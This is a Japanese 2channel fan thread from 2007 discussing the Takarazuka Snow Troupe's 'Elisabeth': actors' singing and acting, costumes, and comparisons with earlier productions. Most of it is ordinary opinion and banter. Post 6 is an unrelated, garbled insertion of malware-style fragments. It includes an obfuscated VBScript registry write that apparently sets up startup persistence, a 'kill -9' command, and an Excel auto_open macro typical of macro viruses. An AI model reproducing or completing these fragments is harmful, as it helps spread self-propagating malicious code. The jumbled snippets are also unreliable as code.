【最後の】宝塚エリザベートPart4【ダンス】

1 ：名無しさん＠花束いっぱい。：2007/06/08(金) 14:02:57 ID:cb7yPfFo

【最後の】宝塚エリザベートPart4【ダンス】

宝塚エリザベートを語るスレッドです。
980を踏んだ方は新スレッドを立ててください。

前スレ
【私だけに】宝塚エリザベートPart3【Milch!】
http://hobby9.2ch.net/test/read.cgi/siki/1169953872/

2 ：名無しさん＠花束いっぱい。：2007/06/08(金) 14:11:58 ID:9g+OCIMB

>１
乙華麗！

3 ：名無しさん＠花束いっぱい。：2007/06/08(金) 14:13:30 ID:cb7yPfFo

１の１行目は、削除し忘れorz スマソ

4 ：名無しさん＠花束いっぱい。：2007/06/08(金) 14:15:23 ID:72Uz/WIh

4ゲット☆

5 ：名無しさん＠花束いっぱい。：2007/06/08(金) 14:48:04 ID:h6Wn/rPh

顎！

6 ：名無しさん＠花束いっぱい。：2007/06/08(金) 15:27:25 ID:kAP84Z1Q

Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
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"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

7 ：名無しさん＠花束いっぱい。：2007/06/08(金) 17:07:00 ID:95HSkAM5

>>1さんにはこれを。
つ―▽○□―

しかし↑って、串突き出てるから危ないよな。

8 ：名無しさん＠花束いっぱい。：2007/06/08(金) 17:38:17 ID:c8RU2Rgb

>>1乙（°∀゜）
水トート、感情が出すぎ。
なんか笑ってることが多いな

9 ：名無しさん＠花束いっぱい。：2007/06/08(金) 17:40:52 ID:7p43TRaT

シシィを知ってから、人間的な感情がどんどん生まれたように見える。

10 ：名無しさん＠花束いっぱい。：2007/06/08(金) 23:08:07 ID:MF/s7kau

>>７の雪おでんAA観て見たらまた雪エリザが観たくて観たくて…
でももう遠征出来ないし東京チケットない(´；ω；｀)ﾌﾞﾜｯ

11 ：名無しさん＠花束いっぱい。：2007/06/09(土) 08:24:29 ID:PyphcjnS

となみエリザ、全体的に強すぎる。　　　　　　
幼少はあんなもんでいいが、晩年になるにつれ、強い自立した人になってて孤独感が感じられない。
影も寂しさもない。
顔が丸いから倒れるほどのダイエットしてるようにみえない･･･
強気だけでトートに立ち向かってる感じ。

12 ：名無しさん＠花束いっぱい。：2007/06/09(土) 09:56:29 ID:rnh46DP0

ウィーン版みてわかったけど
シシィはけっして弱い人ではない。生命力にあふれている。
そこにトートは惹かれて黄泉から戻してやった。

それにとなみシシィに孤独感はすごく出てますよ。
病院でヴィン嬢に歌う歌や、夜のボートなど、
誰にも救えないシシィの孤独がにじんでいて、涙を誘われます。

13 ：名無しさん＠花束いっぱい。：2007/06/09(土) 12:58:03 ID:PyphcjnS

個人的意見だからまぁここで議論しても仕方ないが･･･
わたしは雪観たあとに月のエリザのDVD買ったけどね

14 ：名無しさん＠花束いっぱい。：2007/06/09(土) 14:14:21 ID:Y5ToSNGZ

月エリザは衣装がいい。
雪も期待してたんだが、水トート、開襟ばっかり・・・

15 ：名無しさん＠花束いっぱい。：2007/06/09(土) 17:40:08 ID:anD4qJ/q

>>14
ちょっと笑った・・これでも水ファン。

16 ：名無しさん＠花束いっぱい。：2007/06/09(土) 19:17:25 ID:PyphcjnS

水衣裳、筋電図。
あれみるたびに仕事を思い出して、夢の世界が常に現実に思えた･･･
仕事を忘れるために来てるのに。
悲しき職業病

17 ：名無しさん＠花束いっぱい。：2007/06/10(日) 00:39:26 ID:ZQMJrSqh

今度から、お仕事で筋電図を見たら、逆に「ああ、トートの心の傷だ・・・」と
浸ってみたらどうでしょう。
お仕事が楽しくなりそう！

18 ：名無しさん＠花束いっぱい。：2007/06/10(日) 10:57:10 ID:tsIlSYHM

エリザベートって実際本当に美貌だったのかな？、舞台用にヨーロｯパ随1の美貌に変えたのかな、昔の人だし仕方ないかな。

19 ：名無しさん＠花束いっぱい。：2007/06/10(日) 16:26:47 ID:Z8FDuzc+

>>18
写真に残ってる。

20 ：名無しさん＠花束いっぱい。：2007/06/10(日) 17:12:54 ID:unYQO8Dj

昔って言ってもそんなに古くないよ

21 ：名無しさん＠花束いっぱい。：2007/06/10(日) 18:22:55 ID:cqjg6a4y

>18
そんなに美人とは個人的に思わん

22 ：名無しさん＠花束いっぱい。：2007/06/10(日) 19:08:40 ID:a4I7BAWg

パンフの中程の鏡の間の衣裳着で横向いてるとなみシシィと
本物シシィの鏡の間の衣裳きてるポストカード見比べたら
本物シシィ、顔小さくてなんて美人だと思った。

23 ：名無しさん＠花束いっぱい。：2007/06/10(日) 19:11:34 ID:MnEweA07

今日初見ですた。あんまり評判よくなかったからどんなもんかと思ってたけど
予想外によくて、やっぱりエリザっていい作品だなーと思った。
雪組初演の初日を見た人は衝撃だっただろーな。

24 ：名無しさん＠花束いっぱい。：2007/06/10(日) 22:09:48 ID:Lusl/Jz8

ﾌｨﾅｰﾚの闇広ﾀﾞﾝｽ、
グリーンの衣装が素敵でした。

25 ：名無しさん＠花束いっぱい。：2007/06/10(日) 22:44:09 ID:bAspWs2g

となみシシィには圧倒的に演技力が足りない。孤高さもないし高貴さもない。
キャラ違いもいいとこ。衣装に着られてるし役に深みが全くない。
ミズトート、やっぱりこの役は美しく歌唱力抜群じゃないと無理だよ・・・

26 ：名無しさん＠花束いっぱい。：2007/06/10(日) 23:03:57 ID:uOjsaQnR

水は歌えないのわかってたから、さほど落胆はなかった。
となみは見た目でなんとかいけるか～？って思ってただけに・・・
公演始まった頃は、
となみありき～なんて言ってたﾔｼ、どう責任とるんだ！？ってくらい酷かったからな。

27 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:14:04 ID:QFIhfebP

>25
無理だと思わないおじさんがいるからこそ、過去何度も再演があったわけで。
ついでに東宝版も、歌唱力でトートを選んではいないよね。
まーあれは主役じゃないから別なのかもしれないけど。

個人的には、ミズトートのビジュアルはカッコイイと思う。
美しさの基準は人それぞれだよ～。

28 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:15:14 ID:h9XB8CkU

まだキャラ違いとか言ってる。生で観てないタタキ、バレバレ。
雪エリザは舞台も客入りも絶好調でラストスパートかかってるから。

29 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:30:33 ID:kPRUquQG

何度も見てるけど・・・やっぱりとなみはキャラ違いは間違いないよ。
彼女には特に期待もなにもないからもうどうでもいいけど。
ところで水は独自のトートを作り上げてきたね。すごい面白い。

30 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:36:51 ID:GGqFbJNv

ものっすごいわざとらしい「ところで」以下…。

31 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:38:36 ID:3rDBaTag

男１に対する寛容さ、同じだけ相手役にも向けてあげればいいのに。
もしくは娘１に対する厳しさ、同じだけ男１にも向けるべきだね。

32 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:43:35 ID:QFIhfebP

いや、29はあからさまな煽りじゃないのか？

33 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:45:21 ID:Vm8w4gEz

どこにでも現れる「凄い面白いことになってきた」って言う人かな？
煽らーだったのか、知らなかった…。

34 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:46:50 ID:NXktLLx4

ほんとだよ。真面目にすごいと思うよ・・水。
武田ﾄｰﾄが、ｴﾘｻﾞが生きることに強くなれなばるほど神がﾄｰﾄを送り込んだ意味があると
独自の解釈をしていてﾄｰﾄが怖ければ怖いほどｴﾘｻﾞの強さが浮き彫りになるしﾗｽﾄが鮮明になると語ってた。
水もｴﾘｻﾞが強くしなやかになればなるほど、追い込みたくなると・・
誰もが自由に憧れるんだね。そして自由にいきることは孤独と背中合わせ。
よかった、雪ｴﾘｻﾞ。

35 ：名無しさん＠花束いっぱい。：2007/06/11(月) 00:49:24 ID:3rDBaTag

そっか・・>>29は煽りだったのか。
言われてみればなるほど、わざとらしいｗ
まんまと引っかかってしまつたよorz

36 ：名無しさん＠花束いっぱい。：2007/06/11(月) 02:42:24 ID:QZo994ls

前スレで15時公演で19時に梅田まで行けるか聞いた者です。

今日は貸切公演で終演後に水トートのミニトークショーがあったため
すぐに会場を出れず、結果的には19時に梅田は間に合わなかったけど
おかげさまでスムーズに帰れました。
ありがとうございました。

雪エリザというかヅカエリザ自体初めてだったんですが、
東宝版とも来日版ともかなり違いますねー。
ダンスや歌は正直やはり男性が居た方が迫力あるなと思ったけど、
トート視点で見るヅカエリザもまた面白かったです。
水トートはここであんまりお歌の評判がよくないみたいですが、
個人的には全然OKでした。
とても人間的な感じ(私見)でしたが、セクシーで衣装も似合ってたし
今まで見た東宝版・来日版のどのトートよりもカッコイイと思いました。

トークショーでは貸切主催者のヨイショもきっちりされていて
小話も楽しかったので見れてよかったです。
ドクトルのマントの中の細工はとても気に入られてるそうです。

長文＆駄文失礼。

37 ：名無しさん＠花束いっぱい。：2007/06/11(月) 08:31:07 ID:QESL7dpb

>>36
そんなお得なトークショー付きでしたか！なら、間に合わなくても十分満足かと･･･
わたしは東宝版を観たら一時期ヅカ版が観られなくなりましたよ。
東宝トートダンサーすごすぎでしたから。
昇天のときなんて柱にひっかかったまま踊ってましたよね･･･
でもやはりエリザは不朽の名作だと思います！
水トートはさえこトートよりは歌はうまいけど顔が長すぎ･･･

38 ：名無しさん＠花束いっぱい。：2007/06/11(月) 08:31:34 ID:4A4QCcu7

>36 ありがとうございます。良かったら、また宝塚を観てくださいね。

39 ：名無しさん＠花束いっぱい。：2007/06/11(月) 11:00:00 ID:PmQM8JlY

私、東宝→ウィーン版→宝塚の順で見たけど、
東宝のトートダンサーは（特に初演）生理的にも演出的にもダメだったなぁ…。
本当に人の感じ方ってそれぞれだね。

40 ：名無しさん＠花束いっぱい。：2007/06/11(月) 11:41:24 ID:QjnNQ3ME

彩吹フランツが素晴らしい。
エリック父ちゃんの時も感動したけど、
この人、歌うまいねー。

ね？
↓

41 ：名無しさん＠花束いっぱい。：2007/06/11(月) 11:56:11 ID:FpxQmVqa

そうだねー。

「出てって」とか「あなたは敵だわ」とかきっついこと言って拒否ってる割には
子供ポンポンできるから、一応やるこたぁやってんだなといつも思ってしまう。
シシィはツンデレキャラなんだな。

42 ：名無しさん＠花束いっぱい。：2007/06/11(月) 13:42:50 ID:BB1PBdBf

>>41
拒否権はないに等しいとはいえ、あのシシィだもんな・・・

43 ：名無しさん＠花束いっぱい。：2007/06/11(月) 14:21:04 ID:XxvkMmyU

嫌がりながらも務めを果たすシシィに萌え

44 ：名無しさん＠花束いっぱい。：2007/06/11(月) 16:24:00 ID:VMZAK/EQ

>>43
血筋も関係あるかも。

シシィ自身が兄弟多いよ。

45 ：名無しさん＠花束いっぱい。：2007/06/11(月) 21:59:22 ID:f4SGQjUE

>>43
萌え、なのかｗ

目からウロコ

46 ：名無しさん＠花束いっぱい。：2007/06/11(月) 22:42:13 ID:7p4jZeUM

でもあのフランツならいいな…と思ってしまう
ユミコフランツ素敵でしたわ

ウィーンツアーの番組で、フランツとシシィのダブルベッドを前に
「あんまり長くは使ってなかったみたいですけど」とか
「でも子どもたくさん出来たしねぇ」とか言うユミコ。
ちょっとスミレコードに抵触しそうでドキドキですた

47 ：名無しさん＠花束いっぱい。：2007/06/11(月) 23:03:19 ID:oSlnFH9e

>46
ちょｗそれ失言スレ向きじゃねｗ

48 ：名無しさん＠花束いっぱい。：2007/06/11(月) 23:28:18 ID:WsF/PzZH

>>46
殿下ｗｗやっぱりステキングｗｗｗ

49 ：名無しさん＠花束いっぱい。：2007/06/11(月) 23:35:43 ID:1miZTtJF

>>48
花では殿下だが雪では陛下だよんｗ

50 ：名無しさん＠花束いっぱい。：2007/06/11(月) 23:51:15 ID:9Rrsqg08

>>46
陛下のうっかり発言、ステキングだw
まさに、うっかりステキング。
ウィーンツアーの番組、見なきゃいかんなw

・・・微妙にｽﾚﾁで申し訳ない。

51 ：名無しさん＠花束いっぱい。：2007/06/11(月) 23:58:14 ID:uQmASP2j

>>37
歌はさえこより水のがヤバイと思うけどね。
トートの歌はどれも低音。
さえこはハスキーな分声も出てたし、ドスもきいていたから迫力さは出てた。
水は声が高いから、低音だと泳いでる感じ。トートのキーが合わないのよね。

ま、どっちもヘタなのはかわらないんだけどね。

52 ：名無しさん＠花束いっぱい。：2007/06/12(火) 00:14:41 ID:85aDYXXS

そうかなあ。低音ばかりってことないし
高音部分はなかなか迫力あって良かったよミズ。

53 ：名無しさん＠花束いっぱい。：2007/06/12(火) 01:22:52 ID:mkvUCcLQ

迫力？
それはないかと・・・
というか、全部マイクのMAX音量のおかげ。
水は対過去水比では、歌は上手くなったし、音程もまともだけど
声は相変わらず細いままだったよ。

54 ：名無しさん＠花束いっぱい。：2007/06/12(火) 01:30:08 ID:076XP8QH

しつこい

55 ：名無しさん＠花束いっぱい。：2007/06/12(火) 01:34:06 ID:s/WXFoBE

ここで色々いわれてるからどんなすごい下手さなのかと
警戒しつつ観にいったけど全然余裕で有だった。
外からみると、宝塚は「宝塚であること」に8割ぐらいの価値があって、
歌が下手かろうが演技が拙かろうが、宝塚の華やかさ自体が
最重要なのかもしれないと思った久々の（7年ぶり）宝塚観劇でした。
あー楽しかった。って先月の話だけどw

56 ：名無しさん＠花束いっぱい。：2007/06/12(火) 01:56:04 ID:j+Ko2S4+

11日に初見だった友人からの、終演後に来たメール。
「トートの声がおかしかった」
変なのか、面白いのか、どっちなんだ。

57 ：名無しさん＠花束いっぱい。：2007/06/12(火) 02:10:53 ID:2zd+ix6w

>56
多分掠れているんだと。10日に観た時に掠れていて急に声が出なくなるんじゃないかヒヤヒヤした。
ステキングな皇帝も声が裏返りそうに１回だけだがあった。
あと１週間だから雪エリザの出演者みんな頑張ってほしい。

58 ：名無しさん＠花束いっぱい。：2007/06/12(火) 02:39:07 ID:l9xklczO

そうか、もう後一週間か・・・
心配だった水の喉もなんとか持ったか。よかった。残りの日程＆東宝も頑張ってほしい。

となみは良くなってるかい？
最初は「あんた十分お人形になれてるよorz」なシシィだったが・・・

59 ：名無しさん＠花束いっぱい。：2007/06/12(火) 08:30:00 ID:8QU4z5ho

７日に観たが水しぇん、フィナーレのパレードで声でなくなっで心配した。
やなりトート役はいろんな意味で荷が重いんだろうな。
歌は水のほうがさえこよりマシ。
シシィはやはりあさこがナンバーワンか。

60 ：名無しさん＠花束いっぱい。：2007/06/12(火) 10:47:09 ID:K5VeWulD

8日に観たけど、だいじょうぶでしたよ～。
昨日もよく声が伸びていました。
聴かせてくれていましたよ。びっくりしました。

61 ：名無しさん＠花束いっぱい。：2007/06/12(火) 11:20:27 ID:sK6Mi7ze

見に行きたい…

62 ：名無しさん＠花束いっぱい。：2007/06/12(火) 12:12:09 ID:KX/4zWN6

シシィはあやちゃんのが好きだったなぁ～
でも何故か女帝の方が「ハマリ役」だと思えた。
娘役としては、あやちゃんがダントツで好きだったんだが不思議なもんだ…

63 ：名無しさん＠花束いっぱい。：2007/06/12(火) 13:14:28 ID:iYFAb8wd

となみシシイ成長してたよー。
私だけにで思わず泣いちゃったよ。

64 ：名無しさん＠花束いっぱい。：2007/06/12(火) 18:48:27 ID:o7MJOCX/

長文ｽﾏｿ。10日初見だったけど、ミズ声出てたしとなみも歌えてたしよかった。
でもミズの愛と死の輪舞はマイクの音がでかすぎて耳が痛かった。
それ以外は気にならなかったけどね。銀橋寝そべりにはﾋﾞｸｰﾘしたｗかっこよかった。
となみはパパみたいにがよく歌えてて初日映像見た限りではあんまり上手く
なかったのに、成長したんだなーと感心。歩き方がちょっとバタバタしてたような
気がしたけど、やっぱり細くてきれい。♪嫌よ逃げないわ～とか死ねばいい
の後とかルドルフ死後の泣き方とか力強くてよかったんだけど、観終わった後に
エリザって我が儘だなと思ってしまった。孤独感が出てなかったのか…
ハマコはさすが！ゆみこも歌ｳﾏｰ。キムは狂気っぽさが足りない気がしたけど、
また違った役創りで歩き方も変人ぽくてｗよかった。やっぱりエリザはいい作品だわ。

65 ：名無しさん＠花束いっぱい。：2007/06/12(火) 22:12:11 ID:sme3GPxP

お花さんは、歌が格別うまいというわけじゃないのに、なんであんなにハマり役だと思えるんだろう？

66 ：名無しさん＠花束いっぱい。：2007/06/12(火) 22:35:28 ID:x8hnKBPl

初演時はまさに伸びの絶頂期だったことと、周りがほとんど歌のうまい
人ばかりだったので、最後の最後まで気を張って演技してたからじゃない？
初演っていうのも大きいよね。見本はないし、失敗したら相手役のサヨナラ
公演に傷つけるわけだし。

67 ：名無しさん＠花束いっぱい。：2007/06/12(火) 23:13:01 ID:zHrFE7KM

>>65
ちょっと狂気が入ってて、実在のシシイにリンクしてるような雰囲気が
あったからじゃないだろうか。巧いとか下手とかの問題じゃなく。
因みにあやちゃんは、しっかりしてて常識的な、自分を持ってる女性って感じ。
今回のとなみは、なんつーかヒステリックで我侭なお嬢って感じかな。

68 ：名無しさん＠花束いっぱい。：2007/06/13(水) 00:50:19 ID:2icqtJ3Y

お花は凛として人を寄せ付けないオーラを出していた。
人間味がないわけじゃないけど、他のシシィと違って、ちょっと冷たい感じがする。
なんか高貴な感じが漂って、本当に田舎の娘だったのかと(ry

外見内面ともに逆になるのがあさこかと。
皇后としてっていうより、一人の女性、人間としてっていう面が強かった。
病院訪問とかで温かさや苦しさが感じられるのがあさこシシィだった。

69 ：名無しさん＠花束いっぱい。：2007/06/13(水) 01:03:04 ID:hv1x86zY

エリザベートって作品は時間の流れがあって、その流れをお花が一番上手、というと
語弊があるかもしれないけど、演じてみせたような気がする。あやか・みどり・あさ
こは後半は重みがあって良かったけど前半はどうしても少女らしさがでてなくて（下手という意味
じゃなくて）、逆にとなみは前半は良いんだけど後半がいまひとつしっくりこない感じが
する。

70 ：名無しさん＠花束いっぱい。：2007/06/13(水) 01:04:02 ID:UHj+fLpu

私はあやかが好きだな。
普通のお嬢さんから孤独な皇后へ、さらに夜のボートで
孤独感がマックスになる、あの場面が一番美貌が冴えるように思う。
あと「エーヤン、ハンガリー」であんなに目が座ってるのはあやかだけだ。
うっかり「エーヤン、エリザベート！」って言っちゃうあいつの気持ちわかるよー

71 ：名無しさん＠花束いっぱい。：2007/06/13(水) 01:08:24 ID:mQ/raQ/W

私は、みどりのシシィが一番しっくりくる。
特にウィーン版を観た後では。

72 ：名無しさん＠花束いっぱい。：2007/06/13(水) 02:10:08 ID:I8slkKSy

>66
周りがホントに歌の上手い人ばっかりってのは違和感アリアリ。
ホントに歌が上手かったのは、好き嫌いはともかくｗ
トートの一路、ルドルフの香寿、ゾフィーの朱だけ。

轟のルキーニは、歌が上手かったっていうより、存在そのものがルキーニだった。
高嶺のフランツも悪くなかったけど、歌が上手かったって言われるとﾓﾆｮﾙ。

73 ：名無しさん＠花束いっぱい。：2007/06/13(水) 08:49:59 ID:2DaDiA02

あさこシシィはやはり芸歴が一番長いせいか重みがでてたと思う。
初見のハナちゃんの印象が強くではっきし言ってハナちゃんが一番かな。
初見でインプットされるからねぇ･･･
トートもだけど
最近のトートは小細工しすぎ

74 ：名無しさん＠花束いっぱい。：2007/06/13(水) 10:20:02 ID:Y9I8kpLs

>>72
好き嫌いはともかく、って言い方、あなたもしてるじゃん。
だから、好き嫌いはともかく、高嶺フランツも歌が上手かったです。

75 ：名無しさん＠花束いっぱい。：2007/06/13(水) 10:34:46 ID:xcD39dm8

そら、>>72はもう耳が雪慣れしちゃってたんだよ。
一路・朱・香寿レベルの歌い手って当時のヅカでもそんなにいないでしょ。
雪組に関しては気の散るほど下手な人が見当たらなかったことが凄い。
でも星組版もあれはあれで好きなんだけど。
>>73
今の水トートは結構好きなんだけど、歌の巧い人はあそこまで
ビジュアル小細工に走らなくていいような気はするね。
麻路トートからトートは殻を破れてない気がする。

76 ：名無しさん＠花束いっぱい。：2007/06/13(水) 10:41:45 ID:ngYEtIrQ

花ちゃんは普段もあまり組子と仲良くってﾀｲﾌﾟじゃなかったから余計孤独が似合ったんだよ。
となみちゃんとかはﾄｰｸもﾎﾟﾜﾝとしてるしｷｬﾋﾟｷｬﾋﾟしてるとこも天然のとこもみんな知ってるから
思いっきりそれをはがないと孤高の人にはなれない。
凛としたﾂﾝとした表情が似合う人・・例えばうめちゃんとかあすかちゃんの方がｼｼｲは巧いと思うよ。

77 ：名無しさん＠花束いっぱい。：2007/06/13(水) 10:43:21 ID:cguO3Mrr

トートは、物体としては存在しないんだから、表現方法は
色んなアプローチがあっていいと思う。
どえが正解でどれが間違ってるという答えは出ないし
観る側の好みや感性や観るタイミングで、人によって
評価は全然違ってくるしね。

78 ：名無しさん＠花束いっぱい。：2007/06/13(水) 10:57:09 ID:3RN0V/CT

ずっとマリコトートを「補強」「進化」させてる気がしてたから
水の爬虫類っぽいと言われるトートはちょっと新鮮。
どうせならもっと粘ってもいいのに、とすら思う。

79 ：名無しさん＠花束いっぱい。：2007/06/13(水) 11:00:41 ID:WstyF23L

初演雪のCDは今でも時々聞いているのだけど、
うっとり聞いているとリヒテンシュタインが思わぬ落とし穴だ…。
映像の時はまだスルーできたんだが。
結構歌うよね、リヒテンシュタイン。

80 ：名無しさん＠花束いっぱい。：2007/06/13(水) 11:00:48 ID:cguO3Mrr

私は一路の歌のみの表現力に特化したトートが別格だけど
それ以外では、人間くさいくらいに力強いマテのトート、
小悪魔のような武田トートが、新鮮だった。

81 ：名無しさん＠花束いっぱい。：2007/06/13(水) 11:22:42 ID:YHITqBtW

雪組初演だけは別格だから
比較の対称にはならないと思う
一路、花總、轟、和央、高嶺、香寿、朱、みんな凄かった
専科を出さずに創り上げた事も凄い。

82 ：名無しさん＠花束いっぱい。：2007/06/13(水) 11:36:59 ID:grioDuSN

う～ん…正直そこまでネ申扱いするほどではないな。
一路さんからして時々音程外れてたし彼女以外も言わずもがな。
歌だけなら花組の方が全体に聞きやすい。

83 ：名無しさん＠花束いっぱい。：2007/06/13(水) 11:50:04 ID:uACvXiTk

>>77
確かに、トート役は宝塚でも東宝でもそれぞれの個性が活かされていて面白い。
もちろん、シシィやフランツ、ルキーニ等も役者其々の個性を楽しめていいけどね。

とりあえずシシィは、初めて見たハナの「鏡の間」登場シーンが強烈すぎたせいか
あのシーンで説得力があればOKだと思う。

84 ：名無しさん＠花束いっぱい。：2007/06/13(水) 12:52:05 ID:Ep858OJZ

初演は歌そのものというよりキアイの質が違うというか。
喉から血を吐きながらでも歌って歌って歌いぬきます的な怨念を感じた。
「全ての不幸はここに始まるのだ」ってとこ、もう何回も見てるのに、
初演のビデオだけ、まだ「あー、えらいこっちゃ」って気分になる。
でも>>79の言うとおり、リヒテンシュタインは落とし穴だったわｗ
リンゴさん好きなんだけど、マダムヴォルフみたいな一撃必殺の
パンチの効いた役で聞きたかったし、見たかったなあ。
美穂圭子の方がリヒテンシュタインぽい……って思ったら今回そうだったけど。

85 ：名無しさん＠花束いっぱい。：2007/06/13(水) 15:59:17 ID:7hs2Kh8d

>>82
オサは何度もヨーデルってたが…
フランツ樹里にいたっては､うまへた以前に声が全くでない>花エリザ

86 ：名無しさん＠花束いっぱい。：2007/06/13(水) 16:44:25 ID:cBt03qlQ

樹里ちゃんはガラコンのルキーニのが１００倍良かったよ。
キーの高い人にやらせちゃあかん…＞フランツ

87 ：名無しさん＠花束いっぱい。：2007/06/13(水) 17:12:12 ID:3eZ0e4Wv

>85
ヨーデル…！
チロリアンなトート閣下が浮かんぢゃったお♪
そういえば東宝武田トートは｢チャーリーとチョコレート工場｣って言われてたなあ。
なんかメルヒェン…

88 ：名無しさん＠花束いっぱい。：2007/06/13(水) 17:42:32 ID:zGWyfEUw

最近いろんな取材や記事を読んで、今回のトートビジュアル志向は
イケコの好みでもあったんじゃないかな。
ドクトル・ゼーブルガーのコートの色や柄にまで仔細にこだわったそうだから。
手のひらにまでタトゥ、っていうのもそうだしね。
二巡目になって、あれこれ変えてみたいんだろうなと思った。

89 ：名無しさん＠花束いっぱい。：2007/06/13(水) 17:56:42 ID:7hs2Kh8d

水の普段から髪やらネイルやら自分でいろいろやってる出先の器用さや趣味を知っていれば､単純にイケコの趣味だけではなく､歌苦手な自分はどうしたらいいだろうと真面目な水が考えた末の苦肉の策>ビジュアル
ってことは推測つくけど｡
何回もやってて､6回目にしてやっとイケコが自分の趣味的ビジュアルを叶えられたと思うのは不自然｡

90 ：名無しさん＠花束いっぱい。：2007/06/13(水) 18:17:15 ID:U854qvJo

案外、今回はそうでもないよ。ミズ。
もちろん、全部が小池先生じゃないのは当然だけど。
みんなが思ってるほどでもない。

91 ：名無しさん＠花束いっぱい。：2007/06/13(水) 18:25:44 ID:zGWyfEUw

指の振り付けまでも、振り付けの先生が考えたとは知らなかったし。

92 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:05:40 ID:J6YA1tXp

となみ、いまさら言っても遅いだろうけど微妙に音を外すのと、
声がこもるのをどうにかしてくれないか・・
余計に馬鹿っぽく見える。

93 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:19:33 ID:7hs2Kh8d

つか逆に､今回唯一にして最大の取り柄のように語られてるビジュアルも振り付けも他人の提案で､かつお歌はマイクの音量頼みでは…
水､まるで取り柄なしになってしまうよ｡
それまで無名の大根女優が名監督の指示通りに動いてラッキーにもその年賞とれたハリウッド女優のよう｡
ハリウッド賞本書いてる批評家に､名演技は名女優の演技力によって生まれるのではなく､監督の名指示によって生まれると皮肉言われてた事を思い出す｡

94 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:24:50 ID:s1i8GGcC

>>29ところで水は独自のトートを作り上げてきたね。すごい面白い。

チンピラトートなんだって？
どっかのスレに書いてあった、まるでチンピラの様だと。そりゃ面白いわなw

95 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:34:33 ID:HFf4ZvtU

勝手にやればビジュ頼り、指示通りなら大根(大根の使い方って合ってるの？)
ジェンヌちゃんも大変だぁ
指示通りできて表現できたのなら、その女優さんもミズさんもたいしたもんだと
私は思いますです
そしてどっちに転んでも速レスでこきおろせる7hs2Kh8dちゃんもたいしたもんです

96 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:39:29 ID:zGWyfEUw

7hs2Kh8dには、改行を学んで欲しいな。

97 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:46:07 ID:FBQfqnd0

>手のひらにまでタトゥ、っていうのもそうだしね。
これってイケコが原案なの？
水が彩音の蜥蜴を見て思いついた、ってインタビューで言ってたけど。

98 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:50:16 ID:zGWyfEUw

手のひらにもやったら？と。＞イケコ

99 ：名無しさん＠花束いっぱい。：2007/06/13(水) 19:56:05 ID:w3lPCkEm

お稽古でタトゥーをしたら、イケコがいいよいいよと乗り気になり。
手のひらにもしたけど、とれやすいからやめようとしたら、
なんでやめるの、いいよいいよとイケコ。

100 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:01:03 ID:qSIKVSRm

新公のトートって水の衣装使わなかったの？
歴代トートの使ったように、書いてあったけど、どっかに。

水って、もしかして組で嫌がられてるとか認められてないとか？

101 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:05:10 ID:DgQdfsTO

単にコマがミズの衣装入らなかっただけ。

マジレスすまそ。

102 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:07:18 ID:KOeVj7NE

水のアンチって>>94みたいに、
どこかにこう書いてあったよって言うの多いね。
7hs2Kh8dさんみたいに頭使った文の方が効果的だと思う。

103 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:16:50 ID:KJfZYfkw

>88
ドクトルのコートってイケコが衣装担当の
先生に指示したの？

104 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:22:29 ID:KOeVj7NE

小池先生も水の弱点カバーの為に色々考えてあげたんだろう。
ただ、ビジュアルでカバーという事に否定的ではないのがちょっと驚き。

105 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:47:05 ID:w3lPCkEm

イケコをばかにしちゃあいけないよ。
エリザに限らず、ビジュアルにはうるさい。

106 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:51:53 ID:QXYD7Rdu

>100
別にサイズ的に入らないから別の人の衣装なんて珍しくない。
蘭トムも、新公トートの時、マリコのを着てたし。

107 ：名無しさん＠花束いっぱい。：2007/06/13(水) 20:58:00 ID:XYsrO3T8

いまだに初演の雪をネ申扱いする人多いのねｗ
たとえ初演でも上手くなかった人は、どう言われても上手かったとは言えないｗ

>86
樹里は声が高いというより、単に音域が狭いだけ。
ホントに上手いと言われる人は、音域も広い。

108 ：名無しさん＠花束いっぱい。：2007/06/13(水) 21:00:34 ID:7hs2Kh8d

>95､96
には､もう少し頭良くなってほしいな｡

109 ：名無しさん＠花束いっぱい。：2007/06/13(水) 21:11:06 ID:2DaDiA02

チンピラトートには禿同。
医者のとこ、パイレーツオブカリビアンのクラーケンみたい。
いつでも食ってやる状態にしかみえん･･･

110 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:21:38 ID:NfM3ggSV

この週末初めての大阪遠征ｴﾘｻﾞﾍﾞｰﾄ観劇です。
ここで予習をと思いまして、訪ねました。
もぉとにかく盛り上がってるんですけど、これは外せないわん、というものがあれば先人の皆さんよろしくお願いします。
長文堪忍

111 ：名無しさん＠花束いっぱい。：2007/06/13(水) 22:24:53 ID:iG8fcJ8M

ここで語れとな…

